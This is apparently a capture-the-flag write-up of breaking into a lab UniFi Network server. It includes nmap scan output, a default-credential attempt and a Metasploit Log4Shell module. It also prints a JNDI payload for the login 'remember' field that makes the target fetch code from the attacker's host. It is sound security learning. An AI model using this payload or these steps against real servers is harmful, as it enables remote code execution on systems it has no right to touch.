Running an extensive nmap scan shows quite a lot (I cut out most of the unneeded):
sudo nmap -p- -sC -sV <IP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp filtered ibm-db2-admin no-response
8080/tcp open http-proxy syn-ack ttl 63
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.129.104.243:8443/manage
|_http-open-proxy: Proxy might be redirecting requests
8443/tcp open ssl/nagios-nsca syn-ack ttl 63 Nagios NSCA
| http-title: UniFi Network
|_Requested resource was /manage/account/login?redirect=%2Fmanage
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US/organizationalUnitName=UniFi/localityName=New York
| Subject Alternative Name: DNS:UniFi
| Issuer: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US/organizationalUnitName=UniFi/localityName=New York
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
<SNIP>
The machine seems to be a Unifiy AP and I am presented a login page when navigating to the IP at port 8443 in the browser. The default credentials ubnt:ubnt did not work. I found the metasploit module multi/http/ubiquiti_unifi_log4shell but it did not work.
Discovering Log4Shell
Researching on the version of the service I found out it should be vulnerable to Log4Shell.
This way I could get a shell on the system. Obviously this is the script-kiddy way as I used a prepared rogue jndi server by someone else, but learning to do everything manually did not fit my time plans for this box.
I later found out that I also could have injected a payload of the format ${jndi:ldap://{Tun0 IP Address}/whatever} into the "remember" field at the login page, which would have made things a lot easier.